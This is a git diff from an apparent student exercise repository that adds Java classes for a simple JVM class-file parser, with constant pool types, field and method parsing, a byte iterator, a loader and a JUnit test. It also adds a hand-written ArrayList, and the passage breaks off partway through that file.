index 0000000000..7f05870020
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/NullConstantInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/StringInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/UTF8Info.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/field/Field.java b/group17/102228177/work4_16/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..7bc2656653
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group17/102228177/work4_16/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..2eb83f3983
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,53 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+
+import com.coderising.jvm.util.Util;
+
+public class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+	
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileLoader.java b/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..81264ceed7
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,137 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	/*private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}*/
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	/*public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+*/
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileParser.java b/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..a831d226d7
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,143 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+		ClassFile classFile = new ClassFile();
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		String magicNumber = iter.nextU4ToHexString();
+		if(!magicNumber.equals("cafebabe")){
+			return null;
+		}
+		classFile.setMinorVersion(iter.nextU2ToInt());
+		classFile.setMajorVersion(iter.nextU2ToInt());
+		
+		ConstantPool pool = parseConstantPool(iter);
+		classFile.setConstPool(pool);
+		
+		AccessFlag accessFlag = parseAccessFlag(iter);
+		classFile.setAccessFlag(accessFlag);
+		
+		ClassIndex classIndex = parseClassIndex(iter);
+		classFile.setClassIndex(classIndex);
+		
+		parseInterfaces(iter);
+		parseFileds(classFile, iter);
+		parseMethods(classFile, iter);
+		return classFile;
+	}
+	
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		int value = iter.nextU2ToInt();
+		AccessFlag accessFlag = new AccessFlag(value);
+		accessFlag.setFlagValue(value);
+		return accessFlag;
+	}
+
+	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+		int thisClassIndex = iter.nextU2ToInt();
+		int superClassIndex = iter.nextU2ToInt();
+		ClassIndex classIndex = new ClassIndex();
+		classIndex.setThisClassIndex(thisClassIndex);
+		classIndex.setSuperClassIndex(superClassIndex);
+		return classIndex;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		int constantPoolCount = iter.nextU2ToInt();
+		ConstantPool pool = new ConstantPool();
+		pool.addConstantInfo(new NullConstantInfo());
+		for (int i = 0; i < constantPoolCount-1; i++) {
+			int tag = iter.nextU1toInt();
+			if(tag == 7){
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo clzInfo= new ClassInfo(pool);
+				clzInfo.setUtf8Index(utf8Index);
+				pool.addConstantInfo(clzInfo);
+			}else if(tag == 1){
+				int length = iter.nextU2ToInt();
+				byte data[] = iter.getBytes(length);
+				String value = null;
+				try {
+					value = new String(data,"UTF-8");
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+				UTF8Info utf8Info = new UTF8Info(pool);
+				utf8Info.setLength(length);
+				utf8Info.setValue(value);
+				pool.addConstantInfo(utf8Info);
+			}else if(tag == 12){
+				int NameIndex = iter.nextU2ToInt();
+				int TypeIndex = iter.nextU2ToInt();
+				NameAndTypeInfo nameAndType = new NameAndTypeInfo(pool);
+				nameAndType.setIndex1(NameIndex);
+				nameAndType.setIndex2(TypeIndex);
+				pool.addConstantInfo(nameAndType);
+			}else if(tag == 9){
+				int classInfoIndex = iter.nextU2ToInt();
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
+				fieldRefInfo.setClassInfoIndex(classInfoIndex);
+				fieldRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				pool.addConstantInfo(fieldRefInfo);
+			}else if(tag == 10){
+				int classInfoIndex = iter.nextU2ToInt();
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
+				methodRefInfo.setClassInfoIndex(classInfoIndex);
+				methodRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				pool.addConstantInfo(methodRefInfo);
+			}else if(tag == 8){
+				int stringIndex = iter.nextU2ToInt();
+				StringInfo stringInfo = new StringInfo(pool);
+				stringInfo.setIndex(stringIndex);
+				pool.addConstantInfo(stringInfo);
+			}else{
+				throw new RuntimeException("the constant pool tag" + tag + "has not been implemented yet");
+			}
+				
+		}
+		return pool;
+	}
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+		System.out.println("interfaceCount:" + interfaceCount);
+
+	}
+
+	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+		int fieldCount = iter.nextU2ToInt();
+		for (int i = 1; i <= fieldCount; i++) {
+			Field field = Field.parse(clzFile.getConstantPool(), iter);
+			clzFile.addField(field);
+		}
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+
+		int methodsCount = iter.nextU2ToInt();
+		for (int i = 1; i <= methodsCount; i++) {
+			Method method = Method.parse(clzFile, iter);
+			clzFile.addMethod(method);
+		}
+	}
+	
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/method/Method.java b/group17/102228177/work4_16/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..da6384f9f4
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,91 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descriptorIndex = iter.nextU2ToInt();
+		int attributesCount = iter.nextU2ToInt();
+		Method m = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
+		
+		for (int i = 1; i <= attributesCount; i++) {
+			int attrNameIndex = iter.nextU2ToInt();	
+			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+			iter.back(2);
+			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				m.setCodeAttr(codeAttr);
+			} else{
+				throw new RuntimeException("only CODE attribute is implemented , please implement the "+ attrName);
+			}
+		}
+		
+		return m ;
+		
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group17/102228177/work4_16/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..3afc6ee711
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,203 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+//	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path1 = "D:\\workspace\\work4_16\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(51, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+   
+
+}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/test/EmployeeV1.java b/group17/102228177/work4_16/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/util/Util.java b/group17/102228177/work4_16/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/ArrayList.java b/group17/102228177/work4_16/src/com/coding/basic/stack/ArrayList.java
new file mode 100644
index 0000000000..320a747606
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coding/basic/stack/ArrayList.java
@@ -0,0 +1,150 @@
+package com.coding.basic.stack;
+
+
+
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+
+
+public class ArrayList implements List{
+	public static final int defLen = 10;
+	private Object[] elements;
+	private int size;
+	private int maxLen;
+	
+	public ArrayList(){
+		size = 0;
+		maxLen = defLen;
+		elements = new Object[defLen];
+	}
+	
+	/**
+	 * 在ArrayList末尾处追加元素
+	 * @param o 添加的元素
+	 */
+	public void add(Object o){
+		if(size >= maxLen){
+			grow();
+		}
+		elements[size] = o;
+		size++;
+	}
+	
+	/**
+	 * 数组扩容
+	 */
+	private void grow(){
+		maxLen = maxLen + (maxLen >> 1);
+		Object[] newArr = new Object[maxLen];
+		System.arraycopy(elements, 0, newArr, 0, size);
+		elements = newArr;
+	}
+	
+	/**
+	 * 在指定索引处添加元素
+	 * @param i 指定索引
+	 * @param o 添加元素
+	 */
+	public void add(int i,Object o){
+		//判断插入位置大于数组实际长度
+		if(i > size){
+			size = i;
+			if(size >= maxLen){//数组大小大于数组最大容量则需要扩容
+				grow();
+			}
+		}
+		//插入位置不大于数组实际长度时，将插入位置的元素向后移。
+		for (int j = size; j > i ; j++) {
+			elements[j] = elements[j-1];
+		}
+		elements[i] = o;
+		size++;
+	}
+	
+	/**
+	 * 获取传入索引的元素
+	 * @param index 索引
+	 * @return 返回传入索引的元素
+	 */
+	public Object get(int index){
+		//索引不在实际范围内
+		if(index < 0||index >= size){
+			throw new ArrayIndexOutOfBoundsException();
+		}
+		for (int i = 0; i < size; i++) {
+			return elements[index];
+		}
+		return null;
+	}
+	
+	/**
+	 * 删除指定索引元素并返回
+	 * @param index
+	 * @return 该索引处元素
+	 */
+	public Object remove(int index){
+		//索引不在实际范围内
+		if(index < 0||index >= size){
+			throw new ArrayIndexOutOfBoundsException();
+		}else{
+			for (int j = index; j < size-1; j++) {
+				elements[j]=elements[j+1];
+			}
+			size--;
+			return elements[index];
+		}
+	}
+	
+	/**
+	 * 获取大小
+	 * @return 
+	 */
+	public int size(){
+		return size;
+	}
+	
+	public Iterator iterator(){
+		return new ArrayListIterator();
+	}
+	
+	private class ArrayListIterator implements Iterator{
+		int cursor;
+		
+		@Override
+		public boolean hasNext() {
+			return cursor != size;
+		}
+
+		@Override
+		public Object next() {
+			int i = cursor;
+			if(i >= size){
+                throw new NoSuchElementException();
+			}
+			if (i >= elements.length){
+				throw new ConcurrentModificationException();
+			}
+			cursor = i+1;        
+			return elements[i];
+		}
+	}
+	
